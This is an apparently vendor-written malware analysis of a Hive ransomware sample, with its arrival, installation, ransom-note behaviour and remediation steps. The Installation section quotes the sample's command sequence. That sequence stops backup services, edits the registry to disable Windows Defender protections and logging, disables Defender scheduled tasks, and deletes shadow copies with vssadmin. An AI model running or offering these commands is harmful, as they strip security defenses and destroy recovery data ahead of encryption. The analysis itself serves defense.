Ransom.Win64.HIVE.YABIW

September 25, 2021

Analysis by: Mc Justine De Guzman

PLATFORM:

Windows

OVERALL RISK RATING:

DAMAGE POTENTIAL:

DISTRIBUTION POTENTIAL:

REPORTED INFECTION:

INFORMATION EXPOSURE:

Threat Type: Ransomware
Destructiveness: No
Encrypted:
In the wild: Yes

OVERVIEW

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It drops files as ransom note.

TECHNICAL DETAILS

File Size: 3,382,272 bytes

File Type: EXE

Initial Samples Received Date: 23 Sep 2021

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

{Random characters}_.key.ssmpt

It adds the following processes:

net.exe stop "NetMsmqActivator" /y
net.exe stop "SamSs" /y
net.exe stop "SDRSVC" /y
net.exe stop "SstpSvc" /y
net.exe stop "UI0Detect" /y
net.exe stop "vmvss" /y
net.exe stop "VSS" /y
net.exe stop "wbengine" /y
net.exe stop "WebClient" /y
sc.exe config "NetMsmqActivator" start= disabled
sc.exe config "SamSs" start= disabled
sc.exe config "SDRSVC" start= disabled
sc.exe config "SstpSvc" start= disabled
sc.exe config "UI0Detect" start= disabled
sc.exe config "vmvss" start= disabled
sc.exe config "VSS" start= disabled
sc.exe config "wbengine" start= disabled
sc.exe config "WebClient" start= disabled
reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
vssadmin.exe delete shadows /all /quiet

Other System Modifications

This Ransomware modifies the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender
DisableAntiVirus = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\MpEngine
MpEnablePus = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableBehaviorMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableIOAVProtection = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableOnAccessProtection = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableScanOnRealtimeEnable = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Reporting
DisableEnhancedNotifications = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\SpyNet
DisableBlockAtFirstSeen = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\SpyNet
SpynetReporting = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\SpyNet
SubmitSamplesConsent = 0

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\WMI\Autologger\
DefenderApiLogger
Start = 0

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\WMI\Autologger\
DefenderAuditLogger
Start = 0

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\WdBoot
Start = 4

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\WdFilter
Start = 4

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\WdNisDrv
Start = 4

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\WdNisSvc
Start = 4

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\WinDefend
Start = 4

Ransomware Routine

This Ransomware appends the following extension to the file name of the encrypted files:

{Random characters}.ssmpt

It drops the following file(s) as ransom note:

{Encrypted folder}\{Random characters}_HOW_TO_DECRYPT.txt

SOLUTION

Minimum Scan Engine: 9.800

FIRST VSAPI PATTERN FILE: 16.984.08

FIRST VSAPI PATTERN DATE: 23 Sep 2021

VSAPI OPR PATTERN File: 16.985.00

VSAPI OPR PATTERN Date: 24 Sep 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
- DisableAntiVirus = 1
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine
- MpEnablePus = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
- DisableBehaviorMonitoring = 1
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
- DisableIOAVProtection = 1
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
- DisableOnAccessProtection = 1
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
- DisableRealtimeMonitoring = 1
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
- DisableScanOnRealtimeEnable = 1
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting
- DisableEnhancedNotifications = 1
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet
- DisableBlockAtFirstSeen = 1
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet
- SpynetReporting = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet
- SubmitSamplesConsent = 0
In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WMI\Autologger\DefenderApiLogger
- Start = 0
In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WMI\Autologger\DefenderAuditLogger
- Start = 0
In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WdBoot
- Start = 4
In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WdFilter
- Start = 4
In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WdNisDrv
- Start = 4
In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WdNisSvc
- Start = 4
In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinDefend
- Start = 4

To restore the registry value this malware/grayware modified:

Open Registry Editor.
» For Windows 7 and Server 2008 (R2) users, click the Start button, type regedit in the Search input field then press Enter.
» For Windows 8, 8.1, 10, and Server 2012 (R2) users, right-click on the lower left corner of the screen, click Run, type regedit in the text box provided, and then press Enter.
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SOFTWARE>Policies>Microsoft>Windows Defender
In the right panel, locate the registry value:
DisableAntiVirus = 1
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SOFTWARE>Policies>Microsoft>Windows Defender>MpEngine
In the right panel, locate the registry value:
MpEnablePus = 0
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SOFTWARE>Policies>Microsoft>Windows Defender>Real-Time Protection
In the right panel, locate the registry value:
DisableBehaviorMonitoring = 1
Again In the right panel, locate the registry value:
DisableIOAVProtection = 1
Again In the right panel, locate the registry value:
DisableOnAccessProtection = 1
Again In the right panel, locate the registry value:
DisableRealtimeMonitoring = 1
Again In the right panel, locate the registry value:
DisableScanOnRealtimeEnable = 1
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SOFTWARE>Policies>Microsoft>Windows Defender>Reporting
In the right panel, locate the registry value:
DisableEnhancedNotifications = 1
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SOFTWARE>Policies>Microsoft>Windows Defender>SpyNet
In the right panel, locate the registry value:
DisableBlockAtFirstSeen = 1
Again In the right panel, locate the registry value:
SpynetReporting = 0
Again In the right panel, locate the registry value:
SubmitSamplesConsent = 0
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SYSTEM>ControlSet001>Control>WMI>Autologger>DefenderApiLogger
In the right panel, locate the registry value:
Start = 0
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SYSTEM>ControlSet001>Control>WMI>Autologger>DefenderAuditLogger
In the right panel, locate the registry value:
Start = 0
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SYSTEM>ControlSet001>services>WdBoot
In the right panel, locate the registry value:
Start = 4
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SYSTEM>ControlSet001>services>WdFilter
In the right panel, locate the registry value:
Start = 4
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SYSTEM>ControlSet001>services>WdNisDrv
In the right panel, locate the registry value:
Start = 4
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SYSTEM>ControlSet001>services>WdNisSvc
In the right panel, locate the registry value:
Start = 4
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SYSTEM>ControlSet001>services>WinDefend
In the right panel, locate the registry value:
Start = 4
Close Registry Editor.

Step 4

Search and delete this file

[ Learn More ]

There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.

{Encrypted folder}\{Random characters}_HOW_TO_DECRYPT.txt
{Random characters}_.key.ssmpt

Step 5

Scan your computer with your Trend Micro product to delete files detected as Ransom.Win64.HIVE.YABIW. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Enabling Volume Shadow Service

Run the command prompt (cmd.exe) as administrator.
Enable Volume Shadow Service by typing the following command:
net start vss

Step 7

Restore encrypted files from backup.

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Ransom.Win64.HIVE.YABIW

OVERVIEW

TECHNICAL DETAILS

SOLUTION

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